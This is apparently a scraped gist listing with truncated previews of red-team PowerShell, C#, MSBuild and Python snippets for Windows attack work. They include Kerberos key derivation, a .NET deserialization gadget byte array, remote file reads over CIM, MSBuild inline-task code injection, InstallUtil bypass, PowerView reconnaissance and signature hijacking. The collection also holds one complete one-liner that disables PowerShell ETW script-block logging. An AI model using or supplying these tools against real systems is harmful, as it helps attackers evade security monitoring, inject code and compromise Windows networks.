davehardy20

function Get-KerberosAESKey
{
    <#
    .SYNOPSIS
    Generate Kerberos AES 128/256 keys from a known username/hostname, password, and kerberos realm. The
    results have been verified against the test values in RFC3962, MS-KILE, and my own test lab.
    
    https://tools.ietf.org/html/rfc3962
    https://msdn.microsoft.com/library/cc233855.aspx

davehardy20

var serialized_obj = [
0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,
0,9,3,0,0,0,9,4,0,0,0,4,2,0,0,0,48,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,

davehardy20

$CimSession = New-CimSession -ComputerName 10.0.0.2

$FilePath = 'C:\Windows\System32\notepad.exe'

# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this trick below will force a "Get" operation versus the default "Enumerate" operation.
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile -CimSession $CimSession
$InMemoryModuleFileInstance = New-CimInstance -CimClass $PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance -CimSession $CimSession
$FileLengthBytes = $FileContents.FileData[0..3]
[Array]::Reverse($FileLengthBytes)

davehardy20

function invmod([System.Numerics.BigInteger] $a,[System.Numerics.BigInteger] $n){	
	
	$exp = $t = $nt = $r = $nr = New-Object System.Numerics.BigInteger
	$exp = [System.Numerics.BigInteger]1
	$t = [System.Numerics.BigInteger]0
	$nt = [System.Numerics.BigInteger]1
	$r = $n
	$nr = $a
	while ($nr -ne [System.Numerics.BigInteger]0) {
		$q = [System.Numerics.BigInteger]::Divide($r,$nr)		

davehardy20

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes c# code. -->
    <-- x86 -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
  <!- x64 -->
  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe MSBuildQueueAPC.csproj -->
  <Target Name="Hello">
   <ClassExample />
  </Target>
	<UsingTask

davehardy20

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

davehardy20

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

davehardy20

<#
    DigitalSignatureHijack v1.0
    License: GPLv3
    Author: @netbiosX
#>
# Validate Digital Signature for PowerShell Scripts

function ValidateSignaturePS
{
	$ValidateHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

davehardy20

#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
# 
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

davehardy20

# Procmon Rule Parser v0.02
# Brian Baskin - @bbaskin
# Reads default rules from an exported Procmon Configuration (.PMC) or Procmon Filter (.PMF) file
# Example output:
"""
12:09:59-bbaskin@~/Development/Noriben$ python parse_procmon_filters.py  -f ProcmonConfiguration.pmc
[Exclude]   Process Name is Procmon64.exe
[Exclude]   Operation is QueryStandardInformationFile
[Exclude]   Operation is RegOpenKey
[Exclude]   Operation is NotifyChangeDirectory